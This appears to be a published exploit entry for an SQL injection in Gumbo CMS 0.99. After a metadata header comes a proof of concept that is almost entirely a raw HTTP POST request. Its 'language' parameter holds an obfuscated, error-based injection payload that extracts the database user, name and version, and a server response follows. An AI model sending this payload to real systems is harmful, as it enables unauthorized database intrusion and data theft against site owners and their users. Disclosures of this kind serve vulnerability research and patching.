Gumbo CMS 0.99 - SQL Injection

# Exploit Title: Gumbo CMS 0.99 - SQL Injection
# Dork: N/A
# Date: 2018-11-11
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://gumbo-cms.net/
# Software Link: https://netix.dl.sourceforge.net/project/gumbo-cms/0.99%20beta/gumbo-0.99beta.zip
# Version: 0.99
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# Users...
# http://localhost/[PATH]/settings/en
# 
POST /[PATH]/settings/en HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: general_purpose=791f2pg746e79031nl9e69kjp2
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 268
language=fr2'||(SeleCT%20'Efe'%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||'
HTTP/1.1 200 OK
Date: Sat, 10 Nov 2018 23:49:54 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 710
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8